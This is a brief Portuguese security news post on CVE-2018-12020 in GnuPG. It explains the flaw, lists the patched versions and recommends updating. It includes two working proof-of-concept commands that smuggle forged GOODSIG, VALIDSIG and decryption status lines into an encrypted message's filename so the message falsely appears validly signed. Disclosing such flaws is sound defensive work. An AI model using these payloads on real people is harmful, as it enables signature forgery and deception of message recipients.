Seguindo o fiasco da vulnerabilidade EFAIL que envolve formatação HTML em emails para sequestro de dados, temos o CVE-2018-12020.
De acordo com o CVE, o arquivo mainproc.c do GnuPG antes da versão 2.2.8 não trata corretamente o nome do arquivo durante o processo de criptografia e verificação, permitindo que o atacante insira a saída ao GnuPG através do filedescriptor 2 usando o --status-fd 2 . Uma sequência OpenPGP que represente o arquivo original em conjunção com as ações(códigos de status) GOODSIG e VALIDSIG são o suficiente para gerar um ataque válido. O problema foi corrigido nas versões GnuPG 2.2.8, Enigmail 2.0.7, GPGTools 2018.3, e python GnuPG 0.4.3 e a atualização destes softwares é recomendada. Também é uma boa pratica desabilitar o verbose no arquivo de configuração gpg.conf.
POCs:
1
$ echo 'Please send me one of those expensive washing machines.' \ | gpg --armor -r VICTIM_KEYID --encrypt --set-filename "`echo -ne \''\ \n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig \ \n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\ \n[GNUPG:] TRUST_FULLY 0 classic\ \ngpg: '\'`" > poc1.msg
2
echo "See you at the secret spot tomorrow 10am." | gpg --armor --store --compress-level 0 --set-filename "`echo -ne \''\ \n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig \ \n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\ \n[GNUPG:] TRUST_FULLY\ \n[GNUPG:] BEGIN_DECRYPTION\ \n[GNUPG:] DECRYPTION_OKAY\ \n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\ \ngpg: '\'`" > poc2.msg
Fonte 1: ArsTechnica
Fonte 2: CVE-2018-12020
